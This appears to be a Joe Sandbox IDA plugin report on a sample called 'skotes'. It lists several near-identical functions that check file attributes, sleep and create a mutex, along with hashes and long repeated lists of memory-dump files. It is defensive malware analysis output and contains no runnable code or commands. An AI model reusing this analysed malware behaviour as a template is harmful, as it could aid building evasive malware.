Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: File__dosmaperr$HandleInformationType
String ID: L/ds
API String ID: 2531987475-185251681
Opcode ID: 5294f0ec2989fd7f8299a1c3552c692118e64a677d91a41e9f1e05479167a58e
Instruction ID: 82821a45ff0751486bf7d8a7ff80f2470e94352bd1d0d7224f10f72a6753e99b
Opcode Fuzzy Hash: 5294f0ec2989fd7f8299a1c3552c692118e64a677d91a41e9f1e05479167a58e
Instruction Fuzzy Hash: 8D418EB1904304AFEB24EFB5DC419AFB7FAEF89304B10452EF95AD7211EA349941CB21

Function 00039BA5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00039BA8
Sleep.KERNEL32(00000064,?), ref: 0003A963
CreateMutexA.KERNEL32(00000000,00000000,00093254), ref: 0003A981

Strings

T2, xrefs: 0003A970

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2
API String ID: 396266464-5813163
Opcode ID: df633e24ee7b8675f2720ccc7f30d7b25cb778957787bd599352724c2eb600ae
Instruction ID: 7212af6d2125176b644d15b3088e1d8dc2ca07ac680a581d21d9724d38e84723
Opcode Fuzzy Hash: df633e24ee7b8675f2720ccc7f30d7b25cb778957787bd599352724c2eb600ae
Instruction Fuzzy Hash: 623159717142008BEB09DB7CDD89BADB7AAEBC2314F248219E054A73D6CBB59981C751

Function 00039CDA Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 139
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00039CDD
Sleep.KERNEL32(00000064,?), ref: 0003A963
CreateMutexA.KERNEL32(00000000,00000000,00093254), ref: 0003A981

Strings

T2, xrefs: 0003A970

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2
API String ID: 396266464-5813163
Opcode ID: f9371f24307f722f59a213633224bc3acb8f396f3ff6bf7aeb7acc05f6d76414
Instruction ID: f49968ab6dc616aec14e7bf686ce19ad891f8a4e8c1dbeba3518319b68b0cf07
Opcode Fuzzy Hash: f9371f24307f722f59a213633224bc3acb8f396f3ff6bf7aeb7acc05f6d76414
Instruction Fuzzy Hash: 2F3144717042009BEF19DBBCDC89BADB76AEBC6310F348619E054AB3D5CB759980C751

Function 00039F44 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 137sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00039F47
Sleep.KERNEL32(00000064,?), ref: 0003A963
CreateMutexA.KERNEL32(00000000,00000000,00093254), ref: 0003A981

Strings

T2, xrefs: 0003A970

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2
API String ID: 396266464-5813163
Opcode ID: 965c79a73024ba5e4244ef6ea78ed9a0e56e1f353fc5aa46e778b2e55730606d
Instruction ID: a9e53c5e3710039f26656bfb55b9ebcbc96d38ce53693c34f8d0bb7dacfddf49
Opcode Fuzzy Hash: 965c79a73024ba5e4244ef6ea78ed9a0e56e1f353fc5aa46e778b2e55730606d
Instruction Fuzzy Hash: 8A319B317002049FEB0DDB78DC88BADB76AEBC2310F248629E058E73C5CB759980C752

Function 0003A079 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 136sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0003A07C
Sleep.KERNEL32(00000064,?), ref: 0003A963
CreateMutexA.KERNEL32(00000000,00000000,00093254), ref: 0003A981

Strings

T2, xrefs: 0003A970

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2
API String ID: 396266464-5813163
Opcode ID: 0928c6ab6f4e55a9f746261d45d6cb67e14f32a85c6b3fbc392b9b79b55d9cfe
Instruction ID: e84076d4ae8b3220962d3522a2c19f5af461979f4d4b15bb131a8d16ecdbfb2d
Opcode Fuzzy Hash: 0928c6ab6f4e55a9f746261d45d6cb67e14f32a85c6b3fbc392b9b79b55d9cfe
Instruction Fuzzy Hash: FD314A717002009BEF1DDB78DC89BADB76ADBC3314F248219E094A73D5CB369981C756

Function 0003A1AE Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 135sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0003A1B1
Sleep.KERNEL32(00000064,?), ref: 0003A963
CreateMutexA.KERNEL32(00000000,00000000,00093254), ref: 0003A981

Strings

T2, xrefs: 0003A970

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
